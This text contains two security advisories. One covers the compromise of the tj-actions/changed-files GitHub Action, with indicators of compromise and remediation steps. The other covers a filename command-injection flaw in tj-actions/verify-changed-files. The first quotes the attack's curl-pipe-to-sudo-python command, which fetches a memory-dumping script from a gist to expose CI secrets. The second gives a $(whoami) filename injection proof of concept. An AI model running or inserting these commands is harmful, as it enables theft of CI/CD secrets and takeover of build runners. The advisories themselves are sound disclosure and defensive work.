Summary A supply chain attack compromised the tj-actions/changed-files GitHub Action, impacting over 23,000 repositories. Attackers retroactively modified multiple version tags to reference a malicious commit, exposing CI/CD secrets in workflow logs. The vulnerability existed between March 14 and March 15, 2025, and has since been mitigated. This poses a significant risk of unauthorized access to sensitive information.

This has been patched in v46.0.1.

Details The attack involved modifying the tj-actions/changed-files GitHub Action to execute a malicious Python script. This script extracted secrets from the Runner Worker process memory and printed them in GitHub Actions logs, making them publicly accessible in repositories with public workflow logs.

Key Indicators of Compromise (IoC): - Malicious commit: 0e58ed8671d6b60d0890c21b07f8835ace038e67 - Retroactively updated tags pointing to the malicious commit: - v1.0.0: 0e58ed8671d6b60d0890c21b07f8835ace038e67 - v35.7.7-sec: 0e58ed8671d6b60d0890c21b07f8835ace038e67 - v44.5.1: 0e58ed8671d6b60d0890c21b07f8835ace038e67

Malicious Code Execution: The malicious script downloaded and executed a Python script that scanned memory for secrets, base64-encoded them, and logged them in the build logs: B64BLOB=curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3

This script targeted the Runner Worker process, extracting and exfiltrating its memory contents.

Proof of Concept (PoC) Steps to Reproduce: 1. Create a GitHub Actions workflow using the tj-actions/changed-files action:

yml name: "tj-action changed-files incident" on: pullrequest: branches: - main jobs: changedfiles: runs-on: ubuntu-latest steps: - name: Get changed files id: changed-files uses: tj-actions/changed-files@0e58ed8671d6b60d0890c21b07f8835ace038e67 2. Run the workflow and inspect the logs in the Actions tab. 3. Vulnerable workflows may display secrets in the logs.

Detection: Analyze network traffic using Harden-Runner, which detects unauthorized outbound requests to: - gist.githubusercontent.com

Live reproduction logs: 🔗 Harden-Runner Insights

This attack was detected by StepSecurity when anomaly detection flagged an unauthorized outbound network call to gist.githubusercontent.com.

Duration of Vulnerability The vulnerability was active between March 14 and March 15, 2025.

Action Required 1. Review your workflows executed between March 14 and March 15: - Check the changed-files section for unexpected output. - Decode suspicious output using the following command: echo 'xxx' | base64 -d | base64 -d - If the output contains sensitive information (e.g., tokens or secrets), revoke and rotate those secrets immediately.

2. Update workflows referencing the compromised commit: - If your workflows reference the malicious commit directly by its SHA, update them immediately to avoid using the compromised version.

3. Tagged versions: - If you are using tagged versions (e.g., v35, v44.5.1), no action is required as these tags have been updated and are now safe to use.

4. Rotate potentially exposed secrets: - As a precaution, rotate any secrets that may have been exposed during this timeframe to ensure the continued security of your workflows.

Impact - Type of vulnerability: Supply chain attack, Secrets exposure, Information leakage - Who is impacted: - Over 23,000 repositories using tj-actions/changed-files. - Organizations with public repositories are at the highest risk, as their logs may already be compromised. - Potential consequences: - Theft of CI/CD secrets (API keys, cloud credentials, SSH keys). - Unauthorized access to source code, infrastructure, and production environments. - Credential leaks in public repositories, enabling further supply chain attacks.

Summary The tj-actions/verify-changed-files action allows for command injection in changed filenames, allowing an attacker to execute arbitrary code and potentially leak secrets.

Details The verify-changed-files workflow returns the list of files changed within a workflow execution.

This could potentially allow filenames that contain special characters such as ; and \ (backtick) which can be used by an attacker to take over the GitHub Runner if the output value is used in a raw fashion (thus being directly replaced before execution) inside a run block. By running custom commands an attacker may be able to steal secrets such as GITHUBTOKEN if triggered on other events than pullrequest. For example on push.

Proof of Concept

1. Submit a pull request to the repository with a new file injecting a command. For example $(whoami).txt would be a valid filename. 2. Upon approval of the workflow (triggered by the pull request), the action will get executed and the malicious pull request filename will flow into the List all changed files tracked and untracked files step.

yaml - name: List all changed files tracked and untracked files run: | echo "Changed files: ${{ steps.verify-changed-files.outputs.changedfiles }}"

Example output:

yaml ##[group]Run echo "Changed files: $(whoami).txt" echo "Changed files: $(whoami).txt" shell: /usr/bin/bash -e {0} ##[endgroup] Changed files: runner.txt

Impact This issue may lead to arbitrary command execution in the GitHub Runner.

Resolution - A new safeoutput input would be enabled by default and return filename paths escaping special characters like ;, (backtick), $, (), etc for bash environments.

- A safe recommendation of using environment variables to store unsafe outputs.

yaml - name: List all changed files tracked and untracked files env: CHANGEDFILES: ${{ steps.verify-changed-files.outputs.changedfiles }} run: | echo "Changed files: $CHANGEDFILES"

Resources

Keeping your GitHub Actions and workflows secure Part 2: Untrusted input Keeping your GitHub Actions and workflows secure Part 1: Preventing pwn requests